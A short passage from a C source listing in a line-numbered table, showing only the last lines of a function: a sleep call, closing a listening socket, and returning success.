| |
| 601 | sleep(60); | |
| 602 | } | |
| 603 | close (listenFD); | |
| 604 | return EXIT_SUCCESS; | |
| 605 | } |